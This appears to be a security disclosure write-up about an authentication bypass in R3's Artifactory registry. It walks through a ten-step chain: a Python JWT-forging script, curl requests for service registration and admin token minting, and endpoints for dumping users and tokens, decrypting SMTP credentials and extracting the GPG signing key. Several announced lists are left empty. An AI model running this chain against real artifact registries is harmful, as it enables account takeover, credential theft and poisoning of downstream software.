R3 Artifactory Takeover Exposes Corda Enterprise and Central Bank Digital Currency Supply Chain

A maximum-severity authentication bypass vulnerability in R3 Limited's enterprise JFrog Artifactory platform enabled unauthenticated remote attackers to seize complete administrative control over the primary software distribution pipeline for the global Corda blockchain ecosystem. Documented in coordinated public disclosure via HackerOne (Report #3994056) by security researcher qw3rjo, the exposure compromised 269 repositories—including sovereign Central Bank Digital Currency (CBDC) mobile application packages, core Corda Enterprise 5 releases, 292 enterprise bank accounts, and R3's private GPG package signing keys.

The Enterprise Corda Nexus: Why R3's Distribution Layer Matters

In distributed ledger technology (DLT), R3's Corda occupies a dominant position across tier-one financial institutions, interbank settlement clearinghouses, multinational insurance syndicates, and sovereign central banks. Unlike permissionless public blockchains, Corda networks operate under strict regulatory and identity frameworks, executing cross-border settlement, syndicated loan servicing, and tokenized asset custody via hardened enterprise Java runtimes.

The host software.r3.com operates as R3's apex artifact registry, hosting official Corda Enterprise JAR binaries, Corda Enterprise Network Manager (CENM) orchestrators, Docker container images, and proprietary cryptographic dependencies. Furthermore, the portal serves as the primary artifact hub for collaborative international banking consortia and central bank initiatives piloting retail and wholesale Central Bank Digital Currencies (CBDCs).

Root Cause: PKCS7 Empty Join Key Padding and HMAC-SHA256 Forgery

The root cause traces to a fundamental architectural design flaw in the internal service registration protocol of JFrog Artifactory Access microservice, tracked under CVE-2026-82329. Artifactory uses a shared secret file named join.key to authenticate peer nodes and internal sub-services joining the cluster.

When an instance is deployed with an empty or uninitialized join.key file—a widespread state in automated container or default packaged rollouts—the cryptographic key derivation routine processes an empty string. During cryptographic parsing, the hex-decoding logic falls back to standard PKCS7 padding across a 256-bit block. Consequently, the derived HMAC secret does not evaluate to null or abort execution; instead, it becomes exactly 32 space characters (byte sequence 0x20 repeated 32 times):

# Exact key derivation evaluation in CVE-2026-82329:
derived_hmac_secret = b' ' * 32  # 32 space characters (0x20)

Because the key is static and universally determinable, any remote, unauthenticated adversary can construct and sign arbitrary JSON Web Tokens (JWTs) using HMAC-SHA256 that the Artifactory Access registry evaluates as authentic internal cluster traffic.

Attack Mechanics: The Complete 10-Step Exploitation Chain

Researcher qw3rjo detailed the complete ten-step exploitation sequence executed against software.r3.com, illustrating how an initial unauthenticated probe escalates to total cluster dominance:

Step 1: Constructing the Forged Service Registration JWT

The attacker synthesizes a cluster registration JWT signed using the 32-space-byte secret. The claims configure an arbitrary service identifier (jfrt@01) and request immediate node admission:

import hmac, hashlib, base64, json, time

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64url(json.dumps({
    "service_id": "jfrt@01",
    "node_id": "exploit-node",
    "skip_node_registration": True,
    "iat": int(time.time()) * 1000
}).encode())

signing_input = f"{header}.{payload}"
key = b'\x20' * 32  # 32 space characters (default empty join key)

sig = hmac.new(key, signing_input.encode(), hashlib.sha256).digest()
jwt_token = f"{signing_input}.{b64url(sig)}"
print("[+] Forged Join JWT:", jwt_token)

Step 2: Service Registration via Registry Join Endpoint

The adversary transmits the forged token to Artifactory's service registry endpoint at /access/api/v1/registry/join:

curl -sk -X POST -H "Content-Type: text/plain" \
  -d '<FORGED_JOIN_JWT>' \
  https://software.r3.com/access/api/v1/registry/join

The server validates the signature against the 32-space-byte secret, accepts the caller as a verified internal cluster microservice, and responds with HTTP 201 Created containing an RSA-signed cluster service access token.

Step 3: Administrative Privilege Escalation

Armed with a recognized service token, the adversary invokes the token minting API (/access/api/v1/tokens) requesting the apex administrative authorization scope (applied-permissions/admin):

curl -sk -X POST \
  -H "Authorization: Bearer <SERVICE_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"scope": "applied-permissions/admin", "expires_in": 3600}' \
  https://software.r3.com/access/api/v1/tokens

The Access engine yields an unconstrained, root-equivalent administrative bearer token, granting total control across all tenant spaces, system configurations, and artifact repositories.

Step 4: User Directory Harvest (292 Enterprise Accounts)

Querying /artifactory/api/security/users returned 292 enterprise accounts. The harvest encompassed not only R3 core platform developers and security staff, but members of global financial institutions, insurtech consortia, and asset managers integrated into the Corda development lifecycle:

Step 5: Repository Census & CBDC Platform Exposure

Querying /artifactory/api/repositories enumerated 269 distinct repositories, of which 174 were local artifact vaults directly writable by the admin token. Among these were 81 core Corda blockchain repositories and four repositories dedicated to Central Bank Digital Currency (CBDC) client runtimes:

• corda-enterprise-for-customers: The primary delivery endpoint for commercial banks running Corda Enterprise nodes.
• corda5-release-packs-for-customers: Distribution packages for Corda 5's cloud-native modular architecture.
• corda-os-docker-stable & corda-ent-docker-stable: Base Docker containers deployed directly into financial Kubernetes clusters.
• cenm-for-customers & cenm-docker-release: Network manager images controlling node admission, certificate authorities, and network mapping.
• cbdc-mobile-apps-stable & cbdc-mobile-apps-dev: Production and staging builds of sovereign central bank digital currency mobile wallet interfaces.
• retail-cbdc-solution-packaging-test: End-to-end packaging infrastructure for retail central bank digital cash solutions.

Step 6: Token Extraction (262 Persistent Keys)

By dumping /access/api/v1/tokens, the attacker harvested 262 active access tokens, including 30 admin-scoped tokens that possessed no expiration date. Critically, these tokens remain valid indefinitely and would survive a standard join key rotation unless explicitly purged from the Access database.

Step 7: Verification of Repository Write Privileges

To prove write capabilities without impacting production binaries, the researcher created and immediately deleted a test remote repository (rce-test-remote), receiving HTTP 200 confirmation.

Step 8: Verification of User Management Autonomy

The researcher created a test account (security-audit-test) via PUT /artifactory/api/security/users/security-audit-test with HTTP 201 response, and verified immediate account activation before executing an immediate deletion.

Step 9: Plaintext Office 365 SMTP Credential Decryption

Artifactory supports a system-level configuration decryption endpoint (POST /artifactory/api/system/decrypt). Calling this endpoint decrypted all encrypted configuration attributes in memory, exposing plaintext corporate credentials for R3's automated notification service on Microsoft Office 365:

<mailServer>
    <enabled>true</enabled>
    <host>smtp.office365.com</host>
    <port>587</port>
    <username>artifactory@r3.com</username>
    <password>[PLAINTEXT ENTERPRISE PASSWORD EXTRACTED]</password>
    <from>artifactory@r3.com</from>
    <tls>true</tls>
    <artifactoryUrl>https://software.r3.com/artifactory</artifactoryUrl>
</mailServer>

The researcher immediately invoked POST /artifactory/api/system/encrypt to restore encryption across the database.

Step 10: Cryptographic Package Signing Key Exfiltration

In the final phase of validation, querying /artifactory/api/security/keypair allowed the extraction of R3's private GPG artifact signing key pair (identifier default-gpg-key-2024-04-22, associated with devops@r3.com). Possession of this private key allowed an adversary to cryptographically sign backdoored binaries, ensuring that downstream enterprise CI/CD verification tools would recognize poisoned releases as authentic R3 deliverables.

Threat Modeling: The Sovereign CBDC & DLT Poisoning Vector

The compounding of repository write access, administrative token minting, and GPG private key exfiltration created an unprecedented software supply chain exposure:

Remediation & Defensive Hardening for Enterprise Artifact Registries

R3 resolved the vulnerability immediately upon receipt of the report on September 3, 2026, rotating join keys, regenerating GPG signing keys, revoking all active API bearer tokens, and re-encrypting configuration secrets. Organizations maintaining on-premise or cloud-hosted artifact registries must implement the following safeguards: